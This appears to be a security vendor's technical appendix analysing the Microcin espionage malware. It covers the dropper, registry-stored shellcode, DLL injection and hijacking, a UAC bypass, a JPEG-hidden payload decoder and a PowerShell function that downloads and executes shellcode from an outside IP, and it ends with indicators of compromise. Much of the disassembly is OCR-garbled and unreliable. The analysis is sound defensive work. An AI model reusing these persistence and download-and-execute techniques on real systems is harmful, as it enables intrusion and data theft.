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Appendix 1. Technical details of the attack

Watering hole attack

We detected a malicious source file (exploit) while we were investigating a watering hole
attack. The file details are as follows:

md5 a50bb6ec77276cf235eaf2d14665bdb5c¢
file name KakMpuHumatoKBapTtnpy-1.rtf
source traffic

First stage of infection

The dropper

When the exploit becomes active, an executable file with a dropper program is launched on the
attacked PC. It contains the malicious program’s encrypted installers intended for 32-bit and 64-bit
operating systems:

File Edit View Action Help
E-£3 TEMPDATA 00022CE4 LM24ds1012GWsb9s
B8y 32 00022CF4 AszxJZ35ppOdF53H
i ,@ 00022D04 «+Gz) *EaS§Am” I~ wm
&£ 64 00022D14 U+BEV]BBL < p~“vO
{ﬁ' 1033 00022D24 u-ua?Saqu#ﬂ'"A
i 5 00022D34 , *W*£]q"0°EBCHnb
a 00022D44 noBlli * iGXeX..3rEo
00022D54 *I»bTBSmiX aXo*$
00022D64 Des*u~TmZ * 2RMm’ ~B
00022D74 HeJPbum *tSEAJTX
00022D84 pEenmeiie snllom3
00022D94 ctEBKe$ini,s..°n
00022Da4 B*M GFe+ -®lce -
00022DB4 Suvl:96-dmo’zR"
00022DC4 &CK“*0a&RxOA[°-1
00022DD4 «+Ix¥cdcéxsSris
00022DE4 [ »yXe s «Ofeull USe
00022DF4 *8Z+ kpp™0SER/UP®
00022E04 XMGF-; *13$>x0>im
00022E14 fl'estwbla [ *80y3

[ 75,296 |

Encrypted installers in the dropper’s resources

The dropper determines whether it is running in a 32-bit or 64-bit environment, decrypts the
appropriate installer, places it in the %temp% folder with a name that uses the format kb[set of random
characters].tmp, and launches it for execution. After this, the dropper’s process terminates.

The installer: main shellcode and DLL
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The installer then starts infecting the system. In order to establish a foothold, it displays non-typical
behavior:

1. Writes its main module to the registry — a shellcode that is stored in a registry parameter of
the type REG_BINARY in a key with a random name starting with “M”, such as
‘HKCU\Software\Mbaccbbg’. The shellcode is stored in XOR-encrypted format with the last
character in the key name used as the argument for XOR.

2. Modifies the parameter ‘Path’ (which is the user environment variable) in the key
‘hkcu\environment’, writing the path to the temporary folder %temp%.

3. Reads the memory of the explorer.exe process and searches for a suitable string that will be
used to force the loading of a malicious DLL into this system process.

4. Creates a DLL in the temporary folder %temp%; the DLL name consists of the string found in
the memory of the explorer.exe process (for example, the DLL name rer.pdb is from the
appropriate string explorer.pdb found in the explorer.exe memory).

5. Injects the DLL into the running explorer.exe process with the help of the QueueUserAPC
function. The address of kernel32.LoadLibraryA is sent as the first parameter, and the address
of the string obtained in step 3 is sent as the third parameter for the QueueUserAPC function.
After the malicious DLL is successfully injected into the explorer.exe process, the installer
deletes the path to %temp% from the environment variable ‘Path’. If the function LoadLibraryA
is called in the context of the explorer.exe process, and the string provided on entry is not a
complete valid path to the DLL that is to be injected, the function will search for that path in
the %temp% folder, and if found, the DLL will be loaded into the memory. This way, the
malicious code is loaded into the explorer.exe process without being written to the process
memory.

6. The installer copies one of the system libraries to %temp% with the name format kb[set of
random characters].ini and modifies it by extending the resource section and changing the
entry point to the beginning of the injected malicious code. This means the malicious code is
given control the moment the library is loaded to the process’s memory.

1 .text 00076950 00001000 00076A00 00000400 60000020

List of sections of the original system library

For any inquiries, contact intelreports@kaspersky.com Page 4 of 14



Microcin: technical details and 10Cs KASPERSKYﬁ

.1D310D9E: : mov edi,edi

.1D310DA0: 5°¢ push ebp

.1D310DA1: 8BEC mov ebp,esp

.1D310DA3: 837D0OCO1 cmp ] D

Syl el

.1D31¢
€

ODA7: 7505 jnz

PDA9: E8(C9310000 call

.1D31@DAE: 5D pop

.1D310DAF: 0909090 nop

.1D310DB4: 6A2C push

.1D310DB6: 68 push

.1D31eDBB: E88OFFFFFF call

.1D310DCO: 8B4DOC mov ecx,
.1D310eDC3: 33D2 xor edx, edx

Entry point to the original system library

1 .text 00076950 00001000 0VO76A00 0000400 E0V00020

The modified system library

.1D310D9E: [F:(C5660000 call
.1D310DA3: 837D0CO1 cmp
.1D310DA7: 7505 jnz
.1D310DA9: E8(C9310000 call
.1D310DAE: ° pop

: % nop

, push
.1D310DB6: 68 push
.1D310DBB: E88OFFFFFF call
.1D310DCO: 8B ) mov ecx,
.1D310DC3: 33D2 xor edx, edx

The modified library entry point, ensuring control is handed over to the malicious code

The libraries modified by the malicious program vary for different versions of Windows:
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Windows 10 dwmapi.dll

Windows 8 (.1) \ Windows Server 2012 d3d11.dll (x86)\ dwmapi.dll (x64)
Windows 7 \ Windows Server 2008 R2 propsys.dll

Windows 2000 \ Windows Server 2003 Ipk.dll

Windows XP shimeng.dll

Table of system libraries that are modified in each version of Windows

7. Theinstaller then sends a command to the library injected earlier into the explorer.exe process
to place the modified system library in the folder %WINDIR%.

DLL hijacking

The method this malicious program employs to establish a foothold within the system is DLL hijacking
in respect to the explorer.exe process. Each time the system boots, the explorer.exe process loads the
modified malicious program into the memory; the malicious program is located in the same folder as
the file explorer.exe. Once loaded into the memory of the explorer.exe process, the malicious library
reads the parameter with the shellcode from the registry, decrypts it and launches for execution. This
is the principal payload of the malicious program.

If the installer Microcin detects any running anti-malware processes before it establishes itself in the
system, then the malicious library is not force-loaded into the context of the explorer.exe process
during installation. If User Access Control is enabled, the installer places the modified system library
into the folder %WINDIR% using the system app wusa.exe, a standalone Windows update installer, with
the parameter “/extract”. This is an auto-elevated application, and User Access Control in standard
settings does not require user involvement to place the modified library in the required location
(%WINDIR%).

It should be noted that this method will not work under Windows 10, as Microsoft has removed the
parameter “/extract” from the parameters list of the wusa.exe utility.

Establishing persistence

The main shellcode

After launching, the main shellcode, which contains the necessary addresses, contacts its C&C servers:

e hand.wid******|ay[.]com —> 127.0.0.1
o foot.bac******ike[.]Jcom —> 45.** *** 192

The first is likely the fallback C&C server, it corresponds to the loopback IP address 127.0.0.1.

The second C&C is only intermittently active, it goes online to receive information from infected
computers or send commands to the shellcode.

To contact the C&C, the malicious program sends a request to a link in the format
‘/index.asp?ID=hhhtjgmrspjnQ’, where the red string is generated depending on the parameters of the
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infected operating system. The malicious program sends this request (a ping) every minute to the C&C

and analyses the response.

In most cases, the response is empty, a simple pong:

GetSyntaxView | Transformer | Headers | Textview | ImageView

HTTP/1.1 200 OK

Date: Tue, 05 Ju] Gows GOwsbwiE GMT
Server: Microsoft-IIS/6.0
Content-Length: 9

Content-Type: text/html
Cache-Control: private

Connection: keep-alive
Last-Modified:

hho----0=

Mon, 04 Jul WS Sewelwss GMT

However, while we were monitoring the C&C we saw the response ‘hj1000198377=" being sent. The
bot recognized this as a task to download the file \0001.jpg’ from the C&C domain, which it did:

+ Stream Combent

cet heep://foor NN < o= 000l fpg HTTR/

5er-a0ent ;
HosT: Tool.
Priovy-Connection:

1.1
(-l:rt:-mﬂa.t'll'.lha1 MEIE B.0; Win3z)

Kiee -A1 1ve

Cache-Control: no-cac

Pragma: no-cache

Cookie: ASPSESSIONTDOAARRDE B=MNPNLFMHEG]DELCDCMOOLFDED

HTTP /1.1 200 OK

Content-Length: 98513

content-Type: image

Last-modi 'Ied Tue.

ACCEpPL-RA

&?Eqpr 2016 17:06:30 air

ETag: “bab ;fﬁd fd.'ll'. 3B6"

server: Microsoft=-I115/6.0

pare: Tue, 05 Jul 2016 02:29:42 GMT
Cannection: keep-alive

..JF!I'.F..i..H.H'.....

W

: -\.dnba Phatdsl'-up c53 Hinﬂmﬁ 2M! M 1T 16:38:04. F'lisl'ﬂarl - thls lxa.g! rnay not

..H.......H..... JFIF HH

Ennr_e conversbon 15‘90_3T beytes]

Find

e

The main shellcode downloads a JPEG image

The main shellcode can process three commands. The first two involve the decryption and launching
of an MZPE file or a shellcode (with or without saving to disk), and the third command relates to the

deleting of a parameter with an additional shellcode (module) in the registry.

The file 0001.jpg which the malicious program downloads from the server is a JPEG image.

For any inquiries, contact intelreports@kaspersky.com
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The image downloaded by the malicious program
This image exists in an online gallery where its file name is ‘kariminal_rider’.

The malicious code searches for the special marker ‘ABCD’ in the downloaded image and decrypts data
using the following algorithm:

index = sample_data.find(

if index != -1:
pos = index + 4
z = struct.unpack( , sample_data[pos])[@]
type = struct.unpack( , sample_data[index + 5: index + 5 + 4])[0]
payload_len = struct.unpack( , sample_data[index + 9: index + 9 + 4])[0]
start_pos = index + 0x@D

decrypted = "'
for _ in xrange(payload len):
key = ((_ % 8) + z) & OxFF
decrypted += chr(ord(sample_data[start _pos + _]) * key)

decoded = sample_data[:pos + 0x0D] + decrypted

save_dump(decoded, sys.argv[1]+'.dec")

Procedure for decrypting the additional shellcode from the image

After decrypting the image’s contents located at displacement OxOD from the marker ‘ABCD’, the
following code becomes visible:
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00003BBE: push
©0003BBF: mov
00003B(C1: 0 mov
00003BC4: push
00003B(C6: ) cdq
00003BC7: ) pop

00003B(8: idiv
00003BCA: test
00003BCC: 7505 jnz

00003BCE: C1EQC shl

00003BD1: pop

00003BD2:

Decrypted code contained in the image
This is the second shellcode — the additional module that is downloaded and installed by the main

shellcode.

The additional module

The additional module is also saved in the registry in a parameter of the type REG_BINARY within the
key ‘hkcu\software\microini’. When the primary shellcode starts operating, it checks if this key is
present; if it is, the parameter’s content is read, decrypted and launched.

§84D £C HOU ECX, DUORD PR ss: (€ — =< )

8851 24 HOU EGX, DUORD PTR DS: (E{ 2 Registry Editor =

2as Fo H00 £, DUORD PTR S5: (E i

zg . PUSH EAR U File Edit View Favorites Help

SBa0 EC HO0 ECx, DUORD PTR S5: (E g shwark | [iiame Iype Daa

gac1 28 A0 ECX; 28 ) :’;’:’5 ab)] (Default) REG_SZ (value not set)
" 0 are

SeSSiEC T e heonD (TR Sy g T 210001 | REG_BINARY f d8 ff €0 00 10 42 46 49 46 00 01 02 01 00 48 00 48 ...

8B45 EC MOU EAX,DWORD PTR SS: CEl AppDatalow

88435 84 MU ECX,DWORD PTR DS: CE

8871 04000000 |HQU ED; DUORD PTR 0S: (E Classes

g

8845 FC |Hou ERY, DUORD. PTR 553 CEf | KasperskylLab

8B40 EC MOU ECX,DWORD PTR SS: [Ef) KasperskylabSetup

8851 64 MU ECX,DWORD PTR DS: CE

8852 03000000 |HQU EA; DUORD PTR OS: (E Mhahpgho

8370 F& 00 CHP_DWORD PTR SS: (EEP-8 microini

74 7F JE SHORT 90000 )

8840 F8 MOY_ECX, DWORD PTR_SS: [ER)| Microsoft E

OFB611 MOUZX_EDX, BYTE PTR DS: 0 -

81FA FFO000Q | CHP EOX, OFF Policies

75 71 JNz SHORT BOADBREE

6A B4 P Software

68 90100000 | PUSH 1000 )

6A 10 PUSH 18 Sysinternals

A o PUSH

8B4S EC MOV EAX, DWORD PTR SS: [ER) Telerik

8845 084 MOU ECX,DWORD PTR DS: CE

g8s1 08 HoU EDX, DUORD PTR DS: (E VMware, Inc.

8945 F@ MU DWORD PTR SS:CEBP-1 System

8845 F8 MOU EAX,DWORD PTR SS: CEY! At Ve B

a PUSH_EAX 7 - =

gBapEC o |MD ECK.DUORD PTR SS:(E

E 8880aCco:

8B4D F@ Moy ECX, DWORD PTR SS: LERH| Computer\HKEY_CURRENT_USER\Software\microini

8941 04 MOU DWORD PTR DS:[ECK+4 = =

8B5S F@ MOU EDX,OWORD PTR SS: [E

C742 OC 0PAOOO! MOV DWORD PTR DS: [EDX+CI1,0 ! -

83QFFZC] =00800815C

The additional module stored within the registry parameter
The additional module also contains the C&C address:

bird.sin******g]|[.Jcom --> 45.%* *** 192

This same IP address also corresponds to foot.bac******jke[.]com, one of the main module’s C&Cs.

The additional malicious module was named ‘DiskSearch.dll’ by its developer. It enables the attackers
to gain access to the file system: receive information about the partitions existing in the system, search
for the necessary files, move and delete them and send them to a remote server. However, this is only
a fraction of what the module does; it is a full-fledged backdoor that can gain control over the infected
system, i.e. work with the registry and services, launch applications, obtain a list of processes,
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terminate an arbitrary process, launch a console (cmd.exe) for remote execution of commands, re-boot
and switch off the system. It can also take screenshots and send them to the malicious server.

|

OOOOOOO®

OO

OO0

D S SO (¢

‘_

| | 8BCE

S| | E3_ESFEFFFF

q| |8BSE FSEo0O00
8365 FC 00
€A B4

8045 FC

]
ES_ECFCFFFF
85C0

00000
it bt pt ot
NN NN C
wivielely

>
-~
o
D
[0}

C

) (DD O

SBCE
ES8 EBFEFFFF
33Ce

Processing a command from the C&C

8848 B3 Hggﬂiﬁ&ﬁwbéﬁ PTRDS: (E51447
1O DUGR PTR Ss: [E8P-4), EO

DUORD PTR 33; [EBP—4] 412F20
CALL DWORD PTR DS: [EAX+C4]
TEST ERX,EAX
JE SHORT 08127244
HOU™ ERX, DWORD PTR DS:[ESI+4]
LEA ECX,DUORD PTR S5: (EBP-4]

auao 9CFEFFFF LEgﬂEE)&DwDRD PTR $5: [EBP-164]
Fron ssaooeen CALL _DWORD PTR_DS: (EAX+981
8846 94 MOU EAX,DWORD PTR DS: [ESI+4]
8040 AG LER ECX,DWORD PTR SS:[EEP-601

USH.
8040 BO LER ECX,DWORD PTR SS:[EBP-581
PUSH ECX

57 PUSH_EDT

8080 9CFEFFFF |LEA ECX,DWORD PTR SS:(EBP-164]
51 PUSH

4 PUSH EOI
FF90 BOOGOEOG | CALL DWORD
38C7 CHP_EAX, EOT
JE SHORT 08127244

74 96 4
8B40 AG HOU”ECX, DWORD PTR SS: [EBP-68]
MOV DWORD PTR DS:[ESI+681,ECX

PTR DS: [ERX+B0]

<

fi0U EAX, DWORD PTR SS: [EBP-4]
CMP ERX,9

JE SHORT @1SCBE2S

CHP_EAX, OA

JE SHORT @1SCBE29

CHP EAYX, @

JE SHORT B1SCBE32

CHMP _ERX, 4
gE SHORT @1SCBE®Z
JE SHORT @1SCBE@2

JE SHORT @1SCBE@2
CHMP _ERX, 3
JE SHORT @1SCBE@2
CHMP _ERX, 7
JE SHORT B1SCBEBZ
CHMP _ERX, 6
gﬁ SHORT @1SCBE@2
Jﬁ SHORT B1SCBEG2

JNZ SHORT B1SCBEBA
PUSH ERX
Moy ECX ESI

| B15CE

CEF
MOV ECX,DWORD PTR DS:[ESI+F8]
AND DNORD PTR SS:[EBP-4]1,08

PUSH
LEg ERE ,DWORD PTR SS:[EBP-4]

JNZ SHORT 915CBDCS
JMP SHORT @1SCBE32

PUSH @

gﬂg SHORT @1SCBEZ2B
Moy ECX ESI

CALL

#15CB01D
XOR ERX,ERX

kernel32.CreateProcessh

reboot system

c’'c responce

reboot system

"C:\Windows\systen32\cnd. exe /R”

t Q(EFFEEFFE)

: B
BUFFEFFFFE)
it 7FFOSG08(FFF)

91138 F4 B0 61100 SF 27
99

The additional module launches a console to execute the cybercriminals’ remote commands

For any inquiries, contact intelreports@kaspersky.com
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TEOE TIOU ECX, OUORD PTR D%: (ESI1) 1 SOMowt
5846 04 MOU EAX,DUORD PTR DS: (ESI+4] B
S1C1 C9050008 | ADD ECX,SCO : | NICO
3 PUSH EBX

51 PUSH_ECX
8080 38F7FFFF LEQHEgéXDUORD PTR SS:[EBP-3C8]

FF9@ 8C010000 |CALL DWORD PTR DS:[EAX+18C]
46 94 MOV EAX,DWORD PTR DS:[ESI+4]
83C4 ac ADD ESP,BC

8080 SCFOFFFF IﬁEQ ECX,DWORD PTR SS:(EBP-2741
8080 38F7FFFF |LEA ECX,DWORD PTR SS:[EBP-8C28]
51 PUSH El

FFS@ 4C CALL DWORD PTR DS:[EAX+4C] kernel32.FindFirstFilel
8945 aC HDg DNCIRD PTR $S: [EBP+C],ERAX

83F8 FF

75 11 JNZ SHDRT 81486BDA

B8B4S 19 NOU EAX,DWORD PTR SS: (EBP+10]
8327 28 AND OWORD PTR DS:(EDI1,8
C700_31000000 HDU DNORD PTR DS: [EAX], 31

E9 42010000 JHMP 981486D1C

66:83BD BSFDFFI CHP IIJORD PTR SS: [EBP-2481,2E
75 JNZ SHORT 91486C0R

66:838D BAFDFFICMP WORD PTR SS: [EBP-2461,0
@F84 E4000000 | JE B1436CDE

66:83BD BAFDFFICMP WORD PTR SS:[EBP-2461,2E
75 BE JNZ SHORT ©1486C0A

66: 8380 BCFOFF| CMP WORD PTR SS:[EBP-2441,0
BF84 CCOABERa | JE 81486C06

g}B%BSCFDFFFF MOV AL,BYTE PTR SS: [(EBP-274]

AND .
g;ggca MOUZX ERX, AL
g?sn BSFOFFFF IﬁlEjFl ECX,DWORD PTR SS: [EBP-248]
?ggg HDU ECX DUORD PTR DS: [ESI]
81C1 F3050000 QDD ECX SFS
PUSH EBX
83C0 83 ADD EAX, S
51 SH_ECK
2080 38FBFFFF |LEA ECX,DWORD PTR SS:[EBP-4C8]

£935 GOFOFFFF | HOU DWORD PTR SS: [EBP-2AB1, EAX
8B46 B4 MOV EAX,DWORD PTR DS:[ESI+4]
51 PUSH ECX

EEaQ 20010000 | CODE QUORD TR N6a [EOVAISC]
DS: [0914868291=7652404C (kernel32.F indFirstFilel)

B158F638| RETURN o 0155763
g15eFCaC

The search procedure for files in the folder

Establishing persistence: other malicious tools

We searched Kaspersky Lab’s cloud technologies for the domain names used by Microcin and found
that other malicious modules had also been downloaded from the URL address
foot.bac******ike[.]com. These modules were used not only in Microcin attacks but also in other
cyberespionage campaigns, some of which are still active.

o foot.bac******ike[.]Jcom/whale32.jpg (and its 64-bit version whale64.jpg in the same
location), despite its extension, is an MZPE file. This backdoor is designed to execute a
cybercriminal’s commands, send data from infected computers, execute files, obtain
information about the system, etc. The C&C URL is whale.dee******ave[.]Jcom (IP:
104.207.130.19). It works via HTTPS.

foot.bac******ike[.]Jcom/ocean.jpg is also an MZPE file and also a backdoor. However, its C&C
is located at vodxe.k*****c[.]Jcom (IP: 45.** ** 65). Using this malicious program, the
cybercriminal can execute commands on the infected computer, delete files, receive files,
collect information about the system, recursively delete folders, install and launch services,
create screenshots, terminate processes, etc.

e This backdoor is launched using the DLL hijacking method, using a legitimate, digitally signed
application to conceal the malicious activity, and has the internal name RingDIIWM.dII
assigned by the module’s developer.

o foot.bac******ike[.]Jcom/updater.jpg is a component of the malicious program Microcin,
designed to update the main shellcode in the registry.

For any inquiries, contact intelreports@kaspersky.com Page 11 of 14
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Completing the mission — PowerATK

When we obtained the URL address of the backdoor’s C&C named ‘whale’ (whale.dee******ave.com),
we found an open folder that was essentially a git-clone of PowerSploit — a ready-to-use toolkit of
Powershell modules used in penetration tests. Those behind Microcin added a number of extra
malicious programs to the standard PowerSploit toolkit and used it to steal information from infected
PCs:

Directory listing for /

o it

e _gitignore

o AntivirusBypass/

e CodeExecution’

o Exfiltration’

e LICENSE

* Mayhem/

* payload’

e Persistence’

e PowerATK PS/

e PowerSploit.psdl
e PowerSploit.psm1
e PowerSploit.pssproj
e PowerSploit.sln

e Privesc/

e README .md

e Recon/

e ScriptModification/
o Tests/

e vbscript/

Contents of the root folder on the backdoor’s C&C

Directory listing for /PowerATK_PS/

» Attack psl

e Invoke-MS16-032 psl

» Load-AllPsModules psl

o Run-PeFile psl

¢ Run-Shellcode-Once psl

e Start-ElevatedPowershell psl
* Start-Meterpreter psl

» SuperAttack psl

Contents of the folder PowerATK_PS on the backdoor’s C&C

For any inquiries, contact intelreports@kaspersky.com Page 12 of 14
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1010 el acd

Directory listing for /payload/

o x64 meterpreter.ps pavload

s 164 powershell ps pavload

o x4 super powershellps pavload
e 86 meterpreterps pavload
e 386 powershellps pavload
o 386 super powershellps pavload

Contents of the payload folder on the backdoor’s C&C

Function FireTheHole

4
[CrdletBinding{}] Parami)
B Start mutual exclusion

# fcreatedHen = $False

# SMutex = Hew-Object -TypeHame System.Threading.Mutex(Strue, “Global\ATTACK_ONCE™, [ref]icreatedHew)

# 1F {fcreatedHew -and SMutex . MaltOne{1))

Yy

* Write-Uerbose “Hutex Acquired”
Scount = ps | select-string powershell | measure-object | 2{%_.Count}
iF ($count -ge 8}
{

ps povershell | Select-Object id | Where-Object {3_.id -ne $pid} | kill

¥
TEX {Hew-Object Het WebClient).DownloadString(“http:/ 106, 19/CodeExecution/ Tnvoke-Shellcade . ps1=)
IEX (Hew-Object Het.WebClient).DownloadString( http://104. 19/payload/x6h_powershell.ps_payload™)
$Shellcode = [Sy-str-.ﬁunuertgz:Frunﬁasrbﬂtl'iﬂg{ﬁpayiuad?
Invoke-Shellcode -Shellcode $5hellcode -Force -Uerbose
Write-Uerbose “shellcode execute successt™

* SHutex . Releasedutex() | Dut-Hull

L

H

Function within one of the Powershell modules that was launched on the victim PC under the
name update.vbs with the help of a special VBS file

The cybercriminals behind the Microcin attack also have other malicious programs in their arsenal.
These include a utility that secretly sends collected data to a malicious server with the help of the
system program bitsadmin.exe, various utilities to obtain login credentials from browsers, a keylogger,
as well as batch files to collect and create password-protected archives of isolated data collected by
the above utilities, and save them to a specific place so they can later be sent to cybercriminals.
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Appendix 2. Indicators of compromise

MD5 (malicious documents)

371bae0fc70563c7falec0e3a0f037f4

a50b6ec77276cf235eaf2d14665bdb5c
fAdeeb3db67bae6cc224802fbad1f3f6

3f288e450a375a26bd9c4de7f2bcfd66
7bcf447a93fd37d068ec27dd04c301ch
873105f03ae425101ea206dcdbbc539f
ab6544eleba3af3f5236d99b755c701c

6e006124678ffc18458d1322de6232a7

MD?5 (backdoors)

056f811ef41c213b037008300b0daf0d
3ebcacb207b33bd5376d00b24cb3386¢
4644ce606ab4b62622e4a9e6a80d792d
4ba4346984a380e22afaccff78688a54
60cb9e553884085700e359e5367d5fb4
7771e1738fc2e4de210ac06a5e62c534
7a290a29ea0d84e4475e021fa87ec466
7d8ee0e91cd88bb36d84d52d1d796dea
a54966098b2281e4b75b747dbb52f431
a5c7b7a26fa0f15cbf7bdd3db597fbe6
dc6c8bae242c43dad76970329270155e
335cb36cc21c47b849d370a892d759b8

948fecf6a044b79de79dc69e09d9979b
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